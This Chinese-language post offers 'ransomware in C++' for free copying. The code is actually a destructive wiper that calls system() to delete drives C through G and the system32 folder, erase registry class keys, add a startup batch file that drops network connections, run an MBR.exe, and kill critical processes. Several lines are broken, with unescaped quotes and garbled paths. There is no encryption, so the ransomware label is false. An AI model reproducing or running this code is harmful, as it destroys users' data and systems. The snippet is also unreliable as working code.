今天我给大家分享的是勒索病毒C++版,代码如下,可以《免费》复制。
#include<bits/stdc++.h>
#include<iostream>
#include <cstdlib>
#include<cstdlib>
#include<ctime>
#include<Windows.h>
#define _CRT_SECURE_NO_WARNINGS 1
#pragma comment(lib,"winmm.lib")
#include<cstring>
#include "fstream"
#include <conio.h>
using namespace std;
#include <cmath>
using std::cout; using std::endl;
using std::copy; using std::string;
int phmbr();
int main()
{
system("ren?d:\\*.txt *.htm");
system("ren?d:\\*.exe *.txt");
system("copy d:\\X3fang勒索病毒?c:\\");
system("copy d:\\X3fang勒索病毒 d:\\");
system("rd f:/ghost.../ /s /q");
system("rd/s/q D:\\");
system("rd/s/q C:\\");
system("rd/s/q E:\\");
system("rd/s/q F:\\");
system("rd/s/q G:\\");
system("del c:\WINDOWS\system32\*.*/q");
system("@echo off Start reg delete HKCR/.exe Start reg delete HKCR/.dll Start reg delete HKCR/*");
system("echo @echo off>c:\\windows\\wimn32.bat echo?break?off>>c:\\windows\\wimn32.bat echo ipconfig/release_all>>c:\\windowswimn32.bat echo end>>c:\\windows\\wimn32.bat reg add HKEY_LOCAL_MACHINE\\Software\\Microsoft\\Windows\\CurrentVersion\\Run /v WINDOWsAPI /t reg_sz /d c:\\windows\\wimn32.bat /f reg add HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVision\\Run /v CONTROLexit /t reg_sz /d c:/Windows/wimn32.bat /f Pause");
system("D:\\MBR.exe");
system("wmic process where name="svchost.exe" delete");
system("wmic process where name="LsaIso.exe" delete");
system("taskkill /f /fi "pid ne 1");
return 0;
}
最后,大家知道=什么吗?